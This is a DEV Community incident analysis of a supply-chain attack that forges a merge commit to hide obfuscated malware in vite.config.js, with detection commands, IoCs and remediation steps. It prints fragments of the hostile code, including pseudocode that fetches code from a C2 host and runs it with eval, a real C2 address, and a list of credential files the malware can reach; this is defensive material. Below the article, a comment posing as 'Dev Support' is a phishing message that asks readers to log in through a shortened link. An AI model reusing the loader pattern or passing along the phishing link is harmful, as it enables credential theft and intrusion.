DEV Community

Cover image for Infected by git pull and npm run build — Malware planted in a build config through a forged merge commit
IT.Skill
IT.Skill

Posted on Originally published at it-skill.jp

Infected by git pull and npm run build — Malware planted in a build config through a forged merge commit

I ran git pull, then npm run build. That was all. I didn't open any suspicious file, and I didn't install any new package.

Even so, the moment the build runs, malware starts and opens a connection to an external server.

This article covers an attack that forges a legitimate merge commit to plant a payload in vite.config.js. It is a generalized summary of what a real investigation found, and it includes detection commands and response steps you can use as they are.

This is not a one-off. Several security vendors have reported it as part of a campaign targeting the npm and Vite ecosystem (observed under names such as ChainVeil, ViteVenom and PolinRider). In the GitHub community, too, people have reported the same kind of thing: config files rewritten by a force-push.

What happens

The sequence is:

  1. One team member's machine gets infected with malware
  2. The malware steals Git hosting credentials from that machine
  3. With those credentials, it force-pushes a poisoned commit to every branch of every repository it can reach
  4. Only one build config file is poisoned. Obfuscated code is appended to the end
  5. Other members fetch the poisoned version with git pull
  6. The payload starts the moment they run npm run build
  7. The process it starts keeps talking to an external C2 and can receive and run arbitrary code

Step 4 is the key. Only one file is poisoned, and it is a config file every project has. Neither node_modules nor package.json is touched. Dependency audit tools won't catch it.

How fast it moves

In the observed case, 14 minutes after a legitimate PR merge, a poisoned commit imitating the same content overwrote develop, and within about a minute a dozen or so branches had been rewritten one after another. The shortest gap was 2 seconds.

This is not done by hand. A script runs the moment the credentials are obtained.

And production and staging branches are targets too. If CI/CD is running, it goes all the way to deployment.

How it works

Stage 1: living inside the build config

Code is appended to the end of vite.config.js, after a long run of whitespace.

export default defineConfig({
    // ...normal config...
});                    ← several hundred characters of whitespace →     global.o='8-14648';var _$_35f2=(function(g,p){...
Enter fullscreen mode Exit fullscreen mode

Why nobody notices. There are three reasons.

It is at the end of the file, not the top. In a diff, it only looks as if the }); line was changed.

It is pushed off-screen by whitespace, so you won't see it without scrolling sideways in the editor.

And the change is effectively two lines. git diff --stat shows:

1 file changed, 2 insertions(+), 3 deletions(-)
Enter fullscreen mode Exit fullscreen mode

Almost nobody reads the contents after seeing that.

ESM files also get a trick at the top so that require works:

import { createRequire } from 'node:module';
const require = createRequire(import.meta.url);
Enter fullscreen mode Exit fullscreen mode

The obfuscation is two layers deep. A character swap restores a string table, then a dictionary expansion builds the code itself, which is run through the Function constructor. This keeps keywords from turning up in a static search.

Stage 2: hiding the C2 on a blockchain

Stage 2 has one job: get the address of the C2 server. It reads that address from a public blockchain.

1. Connect to a public Ethereum RPC over JSON-RPC
2. Get the latest block with eth_blockNumber
3. Walk back through blocks with eth_getBlockByNumber
4. Look for a transaction whose sender address contains a specific string
5. Build the C2 address from that transaction's recipient (to)
6. Fetch http://<C2>/boot and start it with child_process.spawn('node', ['-e', ...])
Enter fullscreen mode Exit fullscreen mode

Three RPC endpoints are provided and tried in order. If one goes down, it still works.

Three things make this technique hard to deal with.

Seizing the server does nothing. The attacker just writes a new address to the blockchain and is back.

Blocking by destination domain is hard. The destination is a public RPC service, which is legitimate infrastructure. Even if you don't work with blockchains at all, you can't call traffic to publicnode.com malicious on that alone.

A blockchain can't be deleted. A system whose whole value is that nothing disappears is being used as an order sheet that never disappears.

This technique is called EtherHiding. Reported variants use TRON, Aptos and BNB Smart Chain as well as Ethereum.

Stage 3: receiving and running arbitrary code

In short, the resident process does this:

_H = 'http://<C2>:443'
if (process.argv.includes('-skipwarn')) return   // can disable itself with a startup flag
if (_t_h) return                                  // prevents running twice
_I = await getHttpJson(_H + '/init')
eval(_I._B)                                       // ← runs the received code on the spot
Enter fullscreen mode Exit fullscreen mode

This is the most important part.

Because it runs code received from outside with eval, what it actually does depends entirely on what the attacker sends. require is already exposed globally, so reading and writing files, sending data out, installing more persistence — anything is possible.

And eval leaves nothing on disk. It is impossible in principle to determine afterwards "what was stolen".

How it gets in: a forged legitimate commit

The cleverest part is how it gets into the repository.

There were two commits with the same "Merge pull request #NN".

Legitimate Forged
Author the member (+0900) the member (+0900) ← identical
Author date same same
Parent commits same same
Commit message same same
Committer GitHub <noreply@github.com> the member (+0100)
Signature yes (PGP signature) no
vite.config.js 963 bytes 9510 bytes

The legitimate commit was copied wholesale, rebuilt with the payload injected into the build config, and overwritten with a force-push.

On GitHub's web UI, it just looks like one ordinary merge.

Tell 1: is the Committer GitHub?

When you press "Merge pull request" on GitHub, the commit is actually created by GitHub's servers. So a legitimate merge always looks like this:

Enter fullscreen mode Exit fullscreen mode

A merge commit whose Committer is a person's name was not merged on GitHub.

Tell 2: is it signed?

A commit's Author and Committer are just strings. Anyone can claim any name. There is no password and no check. Change git config user.name locally and you can commit under anyone's name.

Only the signature can't be forged.

git log --format='%h %G? %cn <%ce> %s' -20
Enter fullscreen mode Exit fullscreen mode

Check whether %G? is G (good signature) or N (no signature).

Tell 3: time zone

In the observed case, the forged commit was +0100 (Europe). A machine in Japan would never produce that value.

git log --format='%h %ad %cd %s' --date=iso -20
Enter fullscreen mode Exit fullscreen mode

The person whose name was used had nothing to do with it

The forged commit carried the name of a different member who had not been compromised. It was camouflage, to make it look like "the usual merge" on GitHub.

The name on a commit and the credentials that actually pushed it are two different things. The latter can't be faked, and it is recorded in GitHub's event log.

gh api "repos/OWNER/REPO/events?per_page=100" \
  --jq '.[] | select(.type=="PushEvent") | "\(.created_at) \(.actor.login) \(.payload.ref)"'
Enter fullscreen mode Exit fullscreen mode

Look at this before you start hunting for a culprit. Questioning the person whose name was used gets you nowhere.

What is exposed

The payload runs with the user's own permissions. Not in a container, not in a sandbox. In other words, it can read anything that user can read.

Category Targets
SSH every private key under ~/.ssh
Git hosting ~/.config/gh, ~/.git-credentials
Cloud ~/.aws, ~/.azure, ~/.kube, ~/.docker/config.json
App config each project's .env (DB credentials, API keys, etc.)
Browser saved passwords, session cookies
Packages ~/.npmrc (npm token)

The damage is not limited to one project. The whole machine is in scope.

If you work on several clients' projects from one machine, keys for unrelated projects are caught up too.

"No traces" does not mean "safe"

The investigation did not find any of the following:

  • files that looked like archives staged for exfiltration
  • file-based persistence (LaunchAgents / cron / changes to shell config)
  • contamination of node_modules, the npm cache or global packages

But this is not evidence that nothing was stolen, for three reasons.

Stage 3 is eval, so what it ran leaves nothing on disk.

The system was set not to update atime (last access time). On macOS this is not unusual out of the box. The reasoning "the key's atime is old, so it wasn't read" does not hold.

And macOS does not log outbound connections by default.

The only option is to respond on the assumption that everything leaked.

Detection commands

On the machine

Look for the running process

ps aux | grep "global\.i=" | grep -v grep
Enter fullscreen mode Exit fullscreen mode

If there is a process of the form node -e global.i='...', the machine is infected.

Check for connections to the C2

lsof -nP -i | grep -E "181\.214\.149\.148"
Enter fullscreen mode Exit fullscreen mode

Look for poisoned files

grep -rl '_\$jsoToArr' ~ --exclude-dir=Library 2>/dev/null | head -20
Enter fullscreen mode Exit fullscreen mode

Check the npm cache

grep -rl '_\$jsoToArr' ~/.npm/_cacache 2>/dev/null | head
Enter fullscreen mode Exit fullscreen mode

Check global packages

grep -rl '_\$jsoToArr' "$(npm root -g)" 2>/dev/null | head
Enter fullscreen mode Exit fullscreen mode

In the repository

Look for config files of unusual size

A normal vite.config.js is about 1 KB.

find . -name "*.config.*" -not -path "*/node_modules/*" -size +5k -exec ls -la {} \;
Enter fullscreen mode Exit fullscreen mode

Look for unsigned merge commits

git log --format='%h %G? %cn <%ce> %s' -30 | grep -v "GitHub <noreply@github.com>"
Enter fullscreen mode Exit fullscreen mode

Check every branch at once

for b in $(git branch -r --format='%(refname:short)' | grep -v HEAD); do
  git ls-tree -r --name-only "$b" \
    | grep -E '\.(js|ts|mjs|cjs)$' \
    | grep -iE 'config|vite|webpack|rollup|next' \
    | while read f; do
        n=$(git show "$b:$f" 2>/dev/null | grep -c '_\$jsoToArr')
        [ "$n" != "0" ] && echo "infected: $b:$f"
      done
done
Enter fullscreen mode Exit fullscreen mode

If it happens to you

Priority 1: immediately (within minutes)

Disconnect the machine from the network.

Kill the process.

kill -9 $(pgrep -f "global\.i=")
Enter fullscreen mode Exit fullscreen mode

Suspend the account whose credentials were stolen. Even if you clean the repositories, they will be overwritten again as long as the credentials are alive. Don't get the order wrong.

Priority 2: the same day

Restore every branch to its legitimate commit (recover with a force-push).

Revoke and reissue every credential.

  • SSH private keys — removing the public key from authorized_keys on the servers is part of the job
  • Personal access tokens, OAuth integrations, deploy keys
  • AWS / Azure / GCP access keys
  • npm tokens
  • DB credentials and external API keys written in .env
  • passwords and sessions saved in the browser

Check the CI/CD run history. If production or staging branches were rewritten, check whether the change reached a deployment.

Priority 3: follow-up investigation

Use the organization audit log to identify which credentials pushed. This requires Owner permission on the organization.

Identify the initial infection. On the first infected machine, list the packages that were installed with npm install just before the infection.

Consider wiping the machine. Since the eval approach leaves no traces, there is no way to prove that "nothing was planted".

Who to tell

The impact may not stay inside your own organization. If the machine held SSH keys or tokens for other companies' projects, you need to contact the person responsible for every one of those projects.

It is a hard message to send, but staying silent and having it come out later is far worse.

Prevention

Repository settings (the most effective)

  • Block force-pushes to your main branches (branch protection)
  • Require signed commits
  • Block direct pushes other than PR merges
  • Make deploy keys read-only

Blocking force-push alone is enough to stop this attack. It is one setting. You can do it today.

On the machine

Put a passphrase on your SSH private keys. A key without a passphrase is used the moment it is copied.

Use separate keys for separate purposes and delete the ones you no longer need. Don't keep .env in plain text at the top of the project.

Day to day

If forced-update shows up after git pull, look at what changed. Force-pushes don't happen on normal branches. It is a warning sign.

 + abc1234...def5678 develop -> origin/develop  (forced update)
Enter fullscreen mode Exit fullscreen mode

When you see this, check the signature and the Committer with git log.

Treat a build as "running untrusted code". npm run build is arbitrary code execution. Config files and plugins all run at build time.

Separate where code runs

This follows from the previous point. If a build is arbitrary code execution, then don't run it in the same place as the things you can't afford to lose.

Set up one virtual machine per project and run code only there. The machine in front of you keeps only the screen, your keys and your password manager, and as a rule does not run project code.

Where What it holds What may run there
Your machine screen, keys, password manager, communication no project code
One VM per project that project's code, credentials and connections only that project
A quarantine VM files of unknown origin open only; roll back to the pre-open state after every use

If you ask "is this project safe?" every time, one day you'll get it wrong. With a single rule, there's nothing to decide.

Split the network the same way. Put each project in its own segment and block traffic between segments. If a project's environment is compromised, it can't reach your machine, your storage or any other project.

When the contract ends and the retention period has passed, delete the whole VM. Credentials, logins and dependencies all go with it. There's no more hunting for "anything left behind somewhere".

Use separate keys for each environment. Use a key only in its environment, and if that environment is compromised, revoke only that key. Don't copy the keys on your machine into a project environment.

Don't make it too inconvenient

If you block everything, people stop using it. A measure nobody uses is the same as no measure.

  • If you connect from your machine's terminal instead of using the VM's own display, copy and paste works as it always did — and there is no path left for the VM to read your machine's clipboard
  • You can edit code remotely from the editor on your machine. It looks and works almost the same
  • Set things up so the key passphrase is entered once when the environment starts. If people have to type it every time, they'll want to remove the passphrase itself
  • To move files, don't use folder sharing; send only what's needed. Virtualization software sometimes shares your whole home folder by default, so turn that off first

Confirm that it can't reach

Putting the settings in doesn't tell you they work. From inside each segment, actually try to connect to the other segments and confirm you can't.

  • From devices on the home network, try to open your work machine, your storage and the admin screen of the network boundary device
  • From a project environment, try to open other projects' segments, your machine and your storage
  • From the quarantine environment, try to open every internal segment

"I'm sure I set it up" and "I tried and it didn't get through" are different things. The first is an assumption.

When you actually try, things sometimes don't behave as configured. For example, a port published by a container can be reachable from outside even when the firewall is set to deny it. The container machinery lets the traffic through before the firewall sees it. You won't notice by reading the config; you only find out by trying to connect from the neighboring environment.

What you need is a boundary device, virtualization software and time to design it. Even a single person or a small team can build this much.

Variant: tailwind.config.js and .gitignore (added 2026-09-27)

A variant with a different target and a second goal has also been reported. The Canadian Centre for Cyber Security published it in March 2026, and victims are still asking about it in the GitHub community.

The attack in this article The variant
File it poisons vite.config.js tailwind.config.js (also postcss.config.*)
Marker strings global.i='8-14648', _$jsoToArr global['!']='9-0191-4', _$_1e42
How it hides code after a long run of whitespace the same (code starting with global[ after whitespace)
Second goal — removes .env from .gitignore, so a later commit publishes your secrets
Where the C2 hides Ethereum TRON, Aptos, BSC

If the code keeps coming back after you clean it with a force-push, a machine or a token is still compromised. Stop the machine and the account before fixing the repository (the same order as "If it happens to you" above).

How to check (read-only):

# Variant markers in config files on every branch
for ref in $(git for-each-ref --format='%(refname)' refs/heads refs/remotes); do
  git grep -l -F -e "global['!']=" -e '_$_1e42' "$ref" -- '*config*.js' '*config*.ts' '*config*.mjs' '*config*.cjs'
done

# Commits that removed .env from .gitignore
git log --all -p -- .gitignore | grep -nE '^-[[:space:]]*/?\.env'
Enter fullscreen mode Exit fullscreen mode

If you find a commit that removed .env, also check whether a .env file was committed afterwards. If it was, reissue every key and password in it. Deleting it from history does not un-publish a secret.

The free read-only script (vite-config-malware-check) now checks for this variant too, including .env files committed on any branch.

IoCs (indicators of compromise)

Use these to detect the same kind of attack.

String markers

_$jsoToArr
global.i='8-14648'
global.o='8-14648'
global.e='NPM'
Enter fullscreen mode Exit fullscreen mode

C2

181.214.149.148:443
  endpoints: /init  /boot  /0/boot
Enter fullscreen mode Exit fullscreen mode

Blockchain C2 (EtherHiding)

ethereum-rpc.publicnode.com
eth.drpc.org
eth-mainnet.public.blastapi.io

Transaction search marker: 33ff3edaf55a8e03dcbc7cb40d498a49
Methods used: eth_blockNumber / eth_getBlockByNumber
Enter fullscreen mode Exit fullscreen mode

Process characteristics

node -e global.i='...';global.r=require;global.m=module;var _$_....
  - stdio is ignore (no output at all)
  - survives under launchd / init after the parent process exits
  - has a branch that disables itself when given -skipwarn
Enter fullscreen mode Exit fullscreen mode

Poisoned file characteristics

- appended to the end of a build config file (vite.config.js, etc.)
- pushed off-screen by whitespace; invisible without horizontal scrolling
- a file that is normally about 1 KB grows to about 9 KB
- createRequire code at the top of ESM files to bring back require
Enter fullscreen mode Exit fullscreen mode

Summary

git pull and npm run build are enough to get infected. You don't have to open a suspicious file or install a dubious package. A build config file is code that runs on every build.

Names on commits can't be trusted. Author and Committer are strings anyone can claim. The only things you can trust are the signature and the credentials that pushed.

The person whose name was used is not the attacker. Isolate the machine and revoke credentials before assigning blame.

Don't take "no traces" as reassurance. The eval approach leaves no record. Acting as if everything leaked is the only safe call.

And one last time: blocking force-push was the most effective measure. With one branch protection rule in place, this attack would not have worked. Open the settings and tick one box.

References


Originally published at it-skill.jp. The free, read-only checker (MIT) is at itskill-jp/vite-config-malware-check.

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

​​ ​